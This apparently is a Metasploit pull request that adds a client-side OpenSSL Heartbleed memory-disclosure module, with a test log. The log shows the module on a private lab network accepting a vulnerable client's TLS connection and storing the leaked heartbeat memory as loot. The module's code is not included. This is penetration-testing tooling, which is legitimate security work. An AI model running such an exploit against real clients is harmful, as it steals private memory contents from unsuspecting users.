Add @hmoore-r7's heartbeat client side module

Title says all. It's not mine, it's all @hmoore-r7's work, doing PR in his behalf.

Test:

```
msf auxiliary(openssl_heartbeat_client_memory) > rexploit
[*] Reloading module...

[*] Listening on 192.168.172.1:8443...
[*] Server started.


[*] 192.168.172.1:49503 Connected <-- not vulnerable



[*] 192.168.172.137:46822 Connected <-- vulnerable
[*] 192.168.172.137:46822 Message type 16 v0301 01
[*] 192.168.172.137:46822 Processing Client Hello...
[*] 192.168.172.137:46822 Sending Server Hello and certificate...
[*] 192.168.172.137:46822 Message type 16 v0302 10
[*] 192.168.172.137:46822 Processing Client Key Exchange...
[*] 192.168.172.137:46822 Message type 14 v0302 01
[*] 192.168.172.137:46822 Processing Change Cipher Spec...
[*] 192.168.172.137:46822 Message type 16 v0302 db
[*] 192.168.172.137:46822 Processing Client Finished...
[*] 192.168.172.137:46822 Message type 18 v0302 e0
[*] 192.168.172.137:46822 Encrypted heartbeat received (16417 bytes) [0 total]
[*] 192.168.172.137:46822 Heartbeat stored in /Users/juan/.msf4/loot/20140409093639_default_192.168.172.137_openssl_memory_d_888249.bin
```